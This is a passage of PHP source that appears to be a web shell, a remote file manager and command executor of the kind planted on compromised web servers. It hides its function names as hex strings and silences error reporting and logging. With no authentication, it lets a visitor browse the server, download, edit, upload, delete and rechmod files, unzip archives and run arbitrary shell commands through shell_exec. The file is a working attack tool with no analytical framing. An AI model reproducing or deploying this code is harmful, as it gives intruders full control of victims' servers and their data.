= 50300) { @ini_set('error_log', NULL); } @ini_set('memory_limit', '-1'); @ini_set('max_execution_time', 0); @ini_set('max_input_time', 0); @ini_set('output_buffering', 0); @ini_set('zlib.output_compression', 0); } // Compatibility fix for older PHP versions if (!function_exists('str_contains')) { function str_contains($haystack, $needle) { if (function_exists('mb_strpos')) { return mb_strpos($haystack, $needle) !== false; } return strpos($haystack, $needle) !== false; } } if (!function_exists('str_starts_with')) { function str_starts_with($haystack, $needle) { if (function_exists('mb_strpos')) { return mb_strpos($haystack, $needle) === 0; } return strpos($haystack, $needle) === 0; } } // Array declaration with PHP 5 compatibility $a = array( "7068705F756E616D65", // [0] php_uname "73657373696F6E5F7374617274", // [1] session_start "6572726F725F7265706F7274696E67", // [2] error_reporting "70687076657273696F6E", // [3] phpversion "66696C655F7075745F636F6E74656E7473", // [4] file_put_contents "66696C655F6765745F636F6E74656E7473", // [5] file_get_contents "66696C657065726D73", // [6] fileperms "66696C656D74696D65", // [7] filemtime "66696C6574797065", // [8] filetype "68746D6C7370656369616C6368617273", // [9] htmlspecialchars "737072696E7466", // [10] sprintf "737562737472", // [11] substr "676574637764", // [12] getcwd "6368646972", // [13] chdir "7374725F7265706C616365", // [14] str_replace "6578706C6F6465", // [15] explode "666C617368", // [16] flash function "6D6F76655F75706C6F616465645F66696C65", // [17] move_uploaded_file "7363616E646972", // [18] scandir "676574686F737462796E616D65", // [19] gethostbyname "7368656C6C5F65786563", // [20] shell_exec "53797374656D20496E666F726D6174696F6E", // [21] System Information "6469726E616D65", // [22] dirname "64617465", // [23] date "6D696D655F636F6E74656E745F74797065", // [24] mime_content_type "66756E6374696F6E5F657869737473", // [25] function_exists "6673697A65", // [26] filesize "726D646972", // [27] rmdir "756E6C696E6B", // [28] unlink "6D6B646972", // [29] mkdir "72656E616D65", // [30] rename "7365745F74696D655F6C696D6974", // [31] set_time_limit "636C656172737461746361636865", // [32] clearstatcache "696E695F736574", // [33] ini_set "696E695F676574", // [34] ini_get "6765744F776E6572", // [35] getOwner function "6765745F63757272656E745F75736572", // [36] get_current_user "7A69705F6F70656E", // [37] zip_open "7A69705F65787472616374", // [38] zip_extract "7A69705F636C6F7365", // [39] zip_close "6261736536345F6465636F6465", // [40] base64_decode "6261736536345F656E636F6465", // [41] base64_encode "686561646572", // [42] header "7265616466696C65", // [43] readfile "636F7079", // [44] copy "66696C65", // [45] file "696E5F6172726179", // [46] in_array "746F7570706572", // [47] strtoupper "7363726970745F6E616D65" // [48] script_name ); // Hex decode function function hex($str) { $r = ""; $len = strlen($str); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec(substr($str, $i, 2))); } return $r; } // Initialize functions $f = array(); for ($i = 0; $i < count($a); $i++) { $func_name = hex($a[$i]); $f[$i] = $func_name; } // Session and error handling if (!isset($_SESSION) && function_exists('session_start')) { @session_start(); } if (function_exists('error_reporting')) @error_reporting(0); if (function_exists('set_time_limit')) @set_time_limit(0); if (function_exists('ini_set')) { @ini_set('display_errors', 0); @ini_set('log_errors', 0); if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 50300) { @ini_set('error_log', NULL); } } // Get document root with fallback for PHP 5 if (isset($_SERVER['DOCUMENT_ROOT'])) { $r0 = $_SERVER['DOCUMENT_ROOT']; } else { $r0 = function_exists('getcwd') ? getcwd() : '.'; } // Get disabled functions $ds = ''; if (function_exists('ini_get')) { $ds = @ini_get("disable_functions"); } $ds0 = (!empty($ds)) ? $ds : "All functions are accessible"; // Get client IP with PHP 5 compatibility $client_ip = 'Unknown'; if (isset($_SERVER['HTTP_CLIENT_IP'])) { $client_ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $client_ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['REMOTE_ADDR'])) { $client_ip = $_SERVER['REMOTE_ADDR']; } // File size formatter function fsize($file) { if (!file_exists($file)) return "0 B"; if (!function_exists('filesize')) return "N/A"; $a = array("B", "KB", "MB", "GB", "TB", "PB"); $pos = 0; $size = filesize($file); while ($size >= 1024 && $pos < count($a) - 1) { $size /= 1024; $pos++; } return round($size, 2) . " " . $a[$pos]; } // Flash message system function flash($message, $status, $class, $redirect = false) { if (!isset($_SESSION) && function_exists('session_start')) { @session_start(); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect && function_exists('header')) { @header('Location: ' . $redirect); exit(); } return true; } // Clear flash messages function clear() { if (isset($_SESSION["message"])) unset($_SESSION["message"]); if (isset($_SESSION["class"])) unset($_SESSION["class"]); if (isset($_SESSION["status"])) unset($_SESSION["status"]); return true; } // Get owner information function getOwner($item) { if (!file_exists($item)) return 'Unknown'; if (!function_exists('fileowner') || !function_exists('filegroup')) { return 'Unknown'; } $downer = @fileowner($item); $dgrp = @filegroup($item); if (function_exists("posix_getpwuid")) { $owner_info = @posix_getpwuid($downer); if (is_array($owner_info) && isset($owner_info['name'])) { $downer = $owner_info['name']; } } if (function_exists("posix_getgrgid")) { $group_info = @posix_getgrgid($dgrp); if (is_array($group_info) && isset($group_info['name'])) { $dgrp = $group_info['name']; } } return $downer . '/' . $dgrp; } // Handle directory navigation $path = '.'; if (isset($_GET['dir']) && !empty($_GET['dir'])) { $path = $_GET['dir']; if (is_dir($path) && function_exists('chdir')) { @chdir($path); } } else { $path = function_exists('getcwd') ? getcwd() : '.'; } // Normalize path if (function_exists('realpath')) { $real_path = realpath($path); if ($real_path) { $path = str_replace('\\', '/', $real_path); } } $exdir = explode('/', $path); $home_path = function_exists('getcwd') ? getcwd() : '.'; // Handle file download if (isset($_GET['download']) && isset($_GET['item'])) { $file_path = $path . '/' . $_GET['item']; if (file_exists($file_path) && is_file($file_path)) { if (function_exists('header')) { @header('Content-Description: File Transfer'); @header('Content-Type: application/octet-stream'); @header('Content-Disposition: attachment; filename="' . basename($file_path) . '"'); @header('Expires: 0'); @header('Cache-Control: must-revalidate'); @header('Pragma: public'); @header('Content-Length: ' . filesize($file_path)); } if (function_exists('readfile')) { @readfile($file_path); } exit; } } // Handle file view/edit $file_content = ''; if (isset($_GET['action']) && $_GET['action'] == 'view' && isset($_GET['item'])) { $file_path = $path . '/' . $_GET['item']; if (file_exists($file_path) && is_file($file_path)) { if (function_exists('file_get_contents') && function_exists('htmlspecialchars')) { $file_content = htmlspecialchars(file_get_contents($file_path)); } } } // Handle file editing if (isset($_POST['save_file']) && isset($_POST['file_content']) && isset($_POST['file_path'])) { if (function_exists('file_put_contents')) { if (file_put_contents($_POST['file_path'], $_POST['file_content'])) { flash("File saved successfully!", "Success", "success", "?dir=" . urlencode($path)); } else { flash("Failed to save file", "Error", "error", "?dir=" . urlencode($path)); } } } // Handle file renaming if (isset($_POST['rename_file']) && isset($_POST['new_name']) && isset($_POST['old_name'])) { $new_path = $path . '/' . $_POST['new_name']; $old_path = $path . '/' . $_POST['old_name']; if (function_exists('rename')) { if (rename($old_path, $new_path)) { flash("File renamed successfully!", "Success", "success", "?dir=" . urlencode($path)); } else { flash("Failed to rename file", "Error", "error", "?dir=" . urlencode($path)); } } } // Handle permission change if (isset($_POST['change_perm']) && isset($_POST['new_perm']) && isset($_POST['file_name'])) { $file_path = $path . '/' . $_POST['file_name']; if (function_exists('chmod')) { if (chmod($file_path, octdec($_POST['new_perm']))) { flash("Permissions changed successfully!", "Success", "success", "?dir=" . urlencode($path)); } else { flash("Failed to change permissions", "Error", "error", "?dir=" . urlencode($path)); } } } // Handle selected files actions if (isset($_POST['selected_action']) && isset($_POST['selected_files'])) { $action = $_POST['selected_action']; if (is_array($_POST['selected_files'])) { $selectedFiles = $_POST['selected_files']; } else { $selectedFiles = array($_POST['selected_files']); } $successCount = 0; foreach ($selectedFiles as $file) { $fullPath = $path . '/' . $file; switch ($action) { case 'delete': if (is_dir($fullPath)) { if (deleteDirectory($fullPath)) $successCount++; } else { if (function_exists('unlink') && unlink($fullPath)) $successCount++; } break; case 'zip': if (class_exists('ZipArchive')) { $zipFileName = $file . '_' . date('Y-m-d_H-i-s') . '.zip'; $zip = new ZipArchive(); if ($zip->open($zipFileName, ZipArchive::CREATE) === TRUE) { if (is_dir($fullPath)) { addFolderToZip($fullPath, $zip, $fullPath); } else { $zip->addFile($fullPath, basename($fullPath)); } $zip->close(); $successCount++; } } break; case 'unzip': if (class_exists('ZipArchive')) { $file_ext = pathinfo($file, PATHINFO_EXTENSION); if ($file_ext === 'zip') { $zip = new ZipArchive(); if ($zip->open($fullPath) === TRUE) { $zip->extractTo($path); $zip->close(); $successCount++; } } } break; } } if ($successCount > 0) { flash("Successfully processed $successCount files", "Success", "success", "?dir=" . urlencode($path)); } else { flash("No files were processed", "Warning", "warning", "?dir=" . urlencode($path)); } } // Helper functions function deleteDirectory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) { if (function_exists('unlink')) { return unlink($dir); } return false; } if (function_exists('scandir')) { $items = scandir($dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $itemPath = $dir . DIRECTORY_SEPARATOR . $item; if (!deleteDirectory($itemPath)) return false; } } if (function_exists('rmdir')) { return rmdir($dir); } return false; } function addFolderToZip($folder, &$zip, $basePath) { if (!function_exists('scandir')) return; $files = scandir($folder); foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $filePath = $folder . '/' . $file; $localPath = str_replace($basePath . '/', '', $filePath); if (is_dir($filePath)) { $zip->addEmptyDir($localPath); addFolderToZip($filePath, $zip, $basePath); } else { $zip->addFile($filePath, $localPath); } } } // Handle folder creation if (isset($_POST['newFolderName'])) { if (function_exists('mkdir')) { if (mkdir($path . '/' . $_POST['newFolderName'], 0755, true)) { flash("Folder created successfully!", "Success", "success", "?dir=" . urlencode($path)); } else { flash("Failed to create folder", "Error", "error", "?dir=" . urlencode($path)); } } } // Handle file creation if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) { if (function_exists('file_put_contents')) { if (file_put_contents($path . '/' . $_POST['newFileName'], $_POST['newFileContent'])) { flash("File created successfully!", "Success", "success", "?dir=" . urlencode($path)); } else { flash("Failed to create file", "Error", "error", "?dir=" . urlencode($path)); } } } // Handle file upload if (isset($_FILES['uploadfile'])) { $total = count($_FILES['uploadfile']['name']); $successCount = 0; for ($i = 0; $i < $total; $i++) { if ($_FILES['uploadfile']['error'][$i] === UPLOAD_ERR_OK) { if (function_exists('move_uploaded_file')) { if (move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $path . '/' . $_FILES['uploadfile']['name'][$i])) { $successCount++; } } } } if ($successCount > 0) { flash("Uploaded $successCount files successfully!", "Success", "success", "?dir=" . urlencode($path)); } else { flash("Upload failed", "Error", "error", "?dir=" . urlencode($path)); } } // Handle command execution $command_output = ''; if (isset($_POST['command']) && !empty($_POST['command'])) { if (function_exists('shell_exec')) { $command_output = shell_exec($_POST['command'] . ' 2>&1'); } if ($command_output === null) { $command_output = "Command executed but no output returned or shell_exec is disabled"; } } // Scan directory and combine all items in one array $all_items = array(); if (is_dir($path) && is_readable($path)) { if (function_exists('scandir')) { $items = scandir($path); // Add parent directory first $parent_dir = dirname($path); if ($parent_dir != $path) { $all_items[] = array( 'name' => '..', 'path' => $parent_dir, 'is_dir' => true, 'size' => '-', 'perms' => 'drwxr-xr-x', 'modified' => date("Y-m-d H:i:s", filemtime($parent_dir)), 'type' => 'parent' ); } // Add folders foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $item_path = $path . '/' . $item; if (is_dir($item_path)) { $all_items[] = array( 'name' => $item, 'path' => $item_path, 'is_dir' => true, 'size' => '-', 'perms' => substr(sprintf('%o', fileperms($item_path)), -4), 'modified' => date("Y-m-d H:i:s", filemtime($item_path)), 'type' => 'folder' ); } } // Add files foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $item_path = $path . '/' . $item; if (!is_dir($item_path)) { $all_items[] = array( 'name' => $item, 'path' => $item_path, 'is_dir' => false, 'size' => fsize($item_path), 'perms' => substr(sprintf('%o', fileperms($item_path)), -4), 'modified' => date("Y-m-d H:i:s", filemtime($item_path)), 'type' => 'file' ); } } } } // Get server name safely $server_name = 'Unknown'; if (isset($_SERVER['SERVER_NAME'])) { $server_name = $_SERVER['SERVER_NAME']; } elseif (isset($_SERVER['HTTP_HOST'])) { $server_name = $_SERVER['HTTP_HOST']; } ?>